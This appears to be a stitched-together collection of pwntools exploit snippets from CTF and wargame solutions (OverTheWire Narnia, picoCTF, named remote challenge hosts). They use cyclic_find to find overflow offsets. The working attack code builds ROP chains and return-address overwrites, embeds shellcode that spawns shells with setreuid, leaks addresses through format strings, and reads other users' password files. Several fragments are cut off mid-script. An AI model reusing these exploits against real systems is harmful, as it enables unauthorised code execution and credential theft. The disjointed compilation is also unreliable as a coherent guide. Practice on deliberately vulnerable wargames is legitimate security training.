def locate_offset(eip_value): ''' Locate the exact offset of the crash using pwntool's cyclic function. RETURN: offset of the crash as a value. ''' print(Colors.OKGREEN + "[+] Pattern offset at: " + Colors.ENDC + Colors.BOLD \ + "{0}".format(pwn.cyclic_find(eip_value)) + Colors.ENDC) return pwn.cyclic_find(eip_value)
def segfault(): """ find offset with pwn.cyclic """ ofs = pwn.cyclic_find(pwn.p32(0x61616168)) payload = b"A" * ofs + create_ropgadget() pr.sendlineafter("Can you ROP your way out of this one?\n", payload) pr.interactive()
def find_overflow(binary): p = pwn.process(binary) p.sendline(pwn.cyclic(10000)) p.recv(1) p.close() assert p.returncode != -11, "Did not crash" core = pwn.Coredump("./core") return pwn.cyclic_find(pwn.pack(core.eip))
def segfault(): conn = pwn.process(remote_binary) ofs = pwn.cyclic_find(pwn.p32(0x61616168)) # 28 payload = b"A"*ofs + create_payload() try: conn.writelineafter("Enter your input> ", payload) conn.writeline(b"\x01\x01\x01") # set win1, win2 and win3 to true rsp = conn.readall(timeout=2) print(rsp) finally: conn.close()
def GetOffsetArgv(): log_level = pwn.context.log_level pwn.context.log_level = 'critical' p = pwn.process([exe.path, cyclic(512)]) p.wait() time.sleep(2) core = p.corefile fault = core.fault_addr ofst = pwn.cyclic_find(fault & 0xffffffff) p.close() pwn.context.log_level = log_level return ofst
def get_overflow_offset(): # It's problematic to create a core dump on an NTFS file system, # so reconfigure core dumps to be created elsewhere os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern") proc = process(get_process_path()) payload = pwn.cyclic(100) send_payload(proc, payload) proc.wait() offset = pwn.cyclic_find(proc.corefile.rip, n=8) log.info("Overflow offset: {}".format(offset)) return offset
def get_rip_offset(chall): # Generate a cyclic pattern so that we can auto-find the offset payload = pwn.cyclic(128) # Run the process once so that it crashes io = pwn.process(chall) io.sendline(payload) io.wait() # Get the core dump core = pwn.Coredump("./core") # Our cyclic pattern should have been used as the crashing address offset = pwn.cyclic_find(core.fault_addr & (2 ** 32 - 1)) return offset
def detect_segfault(): """ Input result of `pwn.cyclic(128,n=8)`, we got a segfault. By checking the stack, we have (gdb) info stack #0 0x00000000004008cd in vuln () #1 0x616161616161616a in ?? () #2 0x616161616161616b in ?? () #3 0x616161616161616c in ?? () #4 0x616161616161616d in ?? () #5 0x616161616161616e in ?? () #6 0x616161616161616f in ?? () #7 0x6161616161616170 in ?? () #8 0x0000000000000000 in ?? () """ ofs = pwn.cyclic_find(pwn.p64(0x616161616161616a), n=8) # 72 """ A trick due to old code haven't been removed payload = b'A'*ofs + pwn.p64(pwn.ELF(remote_binary, False).sym["main"]) pr.writelineafter("Welcome to 64-bit. Can you match these numbers?\n", payload); payload = b'A'*ofs + pwn.p64(pwn.ELF(remote_binary, False).sym["flag"]) pr.writelineafter("Welcome to 64-bit. Can you match these numbers?\n", payload); """ for _ in range(0): payload = b'A' * ofs + pwn.p64( pwn.ELF(remote_binary, False).sym["main"]) pr.writelineafter("Welcome to 64-bit. Can you match these numbers?\n", payload) """ According to the conditions we need to make `win1` and `win2` true by calling `win_fn1` and `win_fn2` before `win_fn` """ payload = b"A" * ofs + build_rop() print("payload:\n", payload) pr.writelineafter("Welcome to 64-bit. Can you match these numbers?\n", payload) rsp = pr.readall(timeout=0.5) print('ofs:', ofs) print('rsp:', rsp) if rsp and "pico" in rsp.decode().lower(): print(rsp)
def segfault(): """ (gdb) r <<< $(python2 -c "import pwn;print(pwn.cyclic(128, n=8))") ... Can you ROP your way out of this? Program received signal SIGSEGV, Segmentation fault. 0x0000000000400b6e in vuln () (gdb) info stack #0 0x0000000000400b6e in vuln () #1 0x6161616161616164 in ?? () #2 0x6161616161616165 in ?? () ... """ ofs = pwn.cyclic_find(pwn.p64(0x6161616161616164), n=8) payload = b"A" * ofs + create_ropgadget() pr.sendlineafter("Can you ROP your way out of this?\n", payload); pr.interactive()
def find_buffer_size(binary, route, menus, hooks={}, core_finder=lambda: './core'): binary = pwn.process(binary) if 'setup' in hooks: hooks['setup'](binary) try: for item in route: menus[item](PAYLOAD, binary) except EOFError: pass else: assert False, "Did not crash" binary.close() assert binary.returncode == -11, "Did not Segmentation Fault (SIGSEGV = -11)" core = pwn.Coredump(core_finder()) offset = pwn.cyclic_find(pwn.pack(core.eip)) return offset
#! /usr/bin/env python3 import pwn s = pwn.ssh('narnia4', 'narnia.labs.overthewire.org', password='******', port=2226) ShellCode = pwn.asm( pwn.shellcraft.i386.linux.setreuid(14005) + pwn.shellcraft.i386.linux.sh() ) n=pwn.cyclic_find(0x63616173) arg=(b'\x90'*n+ShellCode)[-n:]+pwn.p32(0xffffd420+2401) p = s.process([b'/narnia/narnia4', arg]) p.sendline(b"cat /etc/narnia_pass/narnia5") print(p.recvline()) s.close()
#!/usr/bin/env python3 import pwn import os.path file = './exp3' s = pwn.ssh('login', 'host', password='******', port=12345) if not os.path.isfile(file): s.download(file) shell_addr = pwn.ELF(file).symbols['shell'] print('Shell addr :' + str(hex(shell_addr))) p = s.process(file) n = pwn.cyclic_find(b'uaac') print(b'payload: ' + (b'A' * n) + pwn.p64(shell_addr)) p.sendline((b'A' * n) + pwn.p64(shell_addr)) p.sendline(b'cat .passwd') print(p.recvline()) print(p.recvline()) print(p.recvline()) print(p.recvline()) print(p.recvline()) print(p.recvline()) p.close()
def lookup(value): # the eip will be in little endianess, so least significant byte first # this means that pwntools will not manually unhex/change endianess for you # cyclic_find will only search for ascii values, anything other than that it will complain print(cyclic_find(unhex(value)[::-1]))
i=-1 host='narnia.labs.overthewire.org' user=b"narnia"+bytes(str(i),"ascii") nextuser=b"narnia"+bytes(str(i+1),"ascii") port=2226 # narnia0 flag=b"$ narnia0\n" add_flag() # narnia0 --> narnia1 start() p = s.process(b'/narnia/'+user) p.sendline(b"A"*pwn.cyclic_find(0x61616166)+pwn.p32(0xdeadbeef)) p.sendline(b"cat /etc/narnia_pass/"+nextuser) p.recvuntil("val: 0xdeadbeef\n") end() # narnia1 --> narnia2 start() NopeSled = b'\x90'*4096 p = s.process(b'/narnia/'+user, env={'EGG': pwn.p32(0xffffcb38-2048*250) + NopeSled + ShellCode }) p.sendline(b"cat /etc/narnia_pass/"+nextuser) p.recvuntil('Trying to execute EGG!\n') end() # narnia2 --> narnia3 start()
#!/usr/bin/env python3 import pwn s = pwn.ssh('login', 'host.com', password='******', port=12345) p = s.process('exp1') n = pwn.cyclic_find(0x6161616b) p.sendline((b'A' * n) + pwn.p32(0xdeadbeef)) p.sendline(b'cat .passwd') print(p.recvline()) print(p.recvline()) print(p.recvline()) print(p.recvline()) print(p.recvline()) print(p.recvline()) p.close()
pwn.context.binary = elf = pwn.ELF("chall") stack_shadow = elf.symbols["__stack_shadow"] print(hex(stack_shadow)) """ Exploit: - Overwrite $rbp to set address for an arbitrary write - The address we'll use is `__stack_shadow` - Overwrite return address in `__stack_shadow` to control $rip - Jump into shellcode also stored on .bss, which is RWX """ # Part 1: Overwrite $rbp with to later write into `__stack_shadow` address # RBP 0x636161706361616f ('oaacpaac') offset = pwn.cyclic_find("oaac") print(offset) # lea rsi, [rbp-0x100] # rbp - 0x100 = stack_shadow # rbp = stack_shadow + 0x100 payload = b"A" * offset + pwn.p64(stack_shadow + 0x100) io.sendlineafter("Data: ", payload) # Part 2: Overwrite return address in `__stack_shadow` to jump into our # shellcode pwn.context.arch = "amd64" binsh = pwn.asm(pwn.shellcraft.sh()) binsh_addr = pwn.p64(0x600244)
def detect_segfault(): """ gdb ./vuln ... (gdb) r <<< $(python2 -c "import pwn;print(pwn.cyclic(128, n=8))") ... Program received signal SIGSEGV, Segmentation fault. 0x00000000004007e7 in vuln () ... (gdb) info stack #0 0x00000000004007e7 in vuln () #1 0x616161616161616a in ?? () #2 0x616161616161616b in ?? () #3 0x616161616161616c in ?? () #4 0x616161616161616d in ?? () #5 0x616161616161616e in ?? () #6 0x616161616161616f in ?? () #7 0x6161616161616170 in ?? () #8 0x0000000000000000 in ?? () ... >>> pwn.cyclic_find(pwn.p64(0x616161616161616a),n=8) 72 """ ofs = pwn.cyclic_find(pwn.p64(0x616161616161616a), n=8) """ It doesn't show the flag with ``` payload = b'A'*ofs + pwn.p64(pwn.ELF(remote_binary, False).sym["flag"]) pr.writelineafter("Welcome to 64-bit. Give me a string that gets you the flag: \n", payload) rsp = pr.readall(timeout=0.5) ``` Lets' debug with a fake flag file. $ echo "aaaflagaaa" > flag.txt $ gdb /problems/newoverflow-1_4_3fc8f7e1553d8d36ded1be37c306f3a4/vuln (gdb) r <<< $(python2 -c 'import pwn;print(b"A"*72+pwn.p64(pwn.ELF("/problems/newoverflow-1_4_3fc8f7e1553d8d36ded1be37c306f3a4/vuln",False).sym["flag"]))') Starting program: /problems/newoverflow-1_4_3fc8f7e1553d8d36ded1be37c306f3a4/vuln <<< $(python2 -c 'import pwn;print(b"A"*72+pwn.p64(pwn.ELF("/problems/newoverflow-1_4_3fc8f7e1553d8d36ded1be37c306f3a4/vuln",False).sym["flag"]))') /bin/bash: warning: command substitution: ignored null byte in input Welcome to 64-bit. Give me a string that gets you the flag: Program received signal SIGSEGV, Segmentation fault. buffered_vfprintf (s=s@entry=0x7fa4bdc17760 <_IO_2_1_stdout_>, format=format@entry=0x7ffde5d09c58 "aaaflagaaa\n", args=args@entry=0x7ffde5d09b78) at vfprintf.c:2314 2314 vfprintf.c: No such file or directory. (gdb) disas Dump of assembler code for function buffered_vfprintf: ... 0x00007fa4bd8896e0 <+144>: mov %eax,0xa4(%rsp) 0x00007fa4bd8896e7 <+151>: lea 0x389072(%rip),%rax # 0x7fa4bdc12760 <_IO_helper_jumps> => 0x00007fa4bd8896ee <+158>: movaps %xmm0,0x50(%rsp) 0x00007fa4bd8896f3 <+163>: mov %rax,0x108(%rsp) ... There is a `movaps` instructions here, according to (x86 Instruction Set Reference MOVAPS)[https://c9x.me/x86/html/file_module_x86_id_180.html], the instruction is used for alignment. > Moves a double quadword containing four packed single-precision floating-point values from the source operand (second operand) to the destination operand (first operand). This instruction can be used to load an XMM register from a 128-bit memory location, to store the contents of an XMM register into a 128-bit memory location, or to move data between two XMM registers. When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte boundary or a general-protection exception (#GP) is generated. To solve this we need to call `main` again before jump to `flag`. """ payload = b'A' * ofs + pwn.p64(pwn.ELF(remote_binary, False).sym["main"]) pr.writelineafter( "Welcome to 64-bit. Give me a string that gets you the flag: \n", payload) payload = b'A' * ofs + pwn.p64(pwn.ELF(remote_binary, False).sym["flag"]) pr.writelineafter( "Welcome to 64-bit. Give me a string that gets you the flag: \n", payload) rsp = pr.readall(timeout=0.5) print('ofs:', ofs) print('rsp:', rsp) if "pico" in rsp.lower(): print(rsp)
#!/usr/bin/python2 import pwn from struct import * desired_ret = 0x401162 #We know that desassembling it with gdb c = pwn.remote('shepherd.ii.uib.no', 9002) offset = pwn.cyclic_find( 'kaaa') #This is the substring in my pattern in the top #of the stack as we saw in gdb buf = pwn.cyclic(offset) buf += pwn.p64(desired_ret) c.sendline(buf) #we sent the payload f = open("out_2.txt", "w") #file where the results are going to save f.write(c.recvall()) #receiving the results and writting them in out.txt.
SHELL_CODE = b'\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78' SHELL_LEN = len(SHELL_CODE) p = pwn.remote('host',12345) ### leak buffer addr p.recvuntil(b'dump:') p.sendline(pwn.cyclic(16)) p.recvline() SHELL_ADDR = p.recvline()[0:10] p.recvuntil(b'(y/n):') p.sendline(b'y') ### send payload p.recvuntil(b'dump:') n = pwn.cyclic_find(0x62616170) payload = SHELL_CODE payload += b'A'*(n - SHELL_LEN + 4) payload += pwn.p32(int(SHELL_ADDR,0)) payload += b'A'*8 p.sendline(payload) print(b'payload: ' + payload) ### get shell p.recvuntil(b'(y/n):') p.sendline(b'n') p.interactive()
#! /usr/bin/env python3 import pwn s = pwn.ssh('narnia0', 'narnia.labs.overthewire.org', password='******', port=2226) p = s.process('/narnia/narnia0') p.sendline(b"A" * pwn.cyclic_find(0x61616166) + pwn.p32(0xdeadbeef)) p.sendline(b"cat /etc/narnia_pass/narnia1") p.recvuntil("val: 0xdeadbeef\n") print(p.recvline()) p.close() s.close()
from pwn import remote, cyclic_find, p64 # e = process("./teleporter2") e = remote("challenges.lucideus.in", 13337) e.sendlineafter("Name please:\n", '%p,' * 60) leak = e.recvuntil("Secret:\n").split(b',') jump_offset = 0xf2 entry_point = int(leak[-15], 16) main = entry_point + int('0x2d', 16) jump = main - jump_offset padding = b'A' * cyclic_find('maac') e.sendline(b"it5 a b1g 5t0ry\x00" + padding + p64(jump + 0x12) + p64(jump)) e.interactive()
#!/usr/bin/python3 from pwn import remote, p64, cyclic_find p = remote("cybergym.lucideus.in", 1337) # p = process("./teleporter") # print(p.recvline()) RIP = p64(0x401254).decode("utf-8") # raw_input("attach gdb") padding = "A" * cyclic_find("maacnaac") p.sendline("Ho1d_4h3_D00r! \x00" + padding + RIP) p.interactive()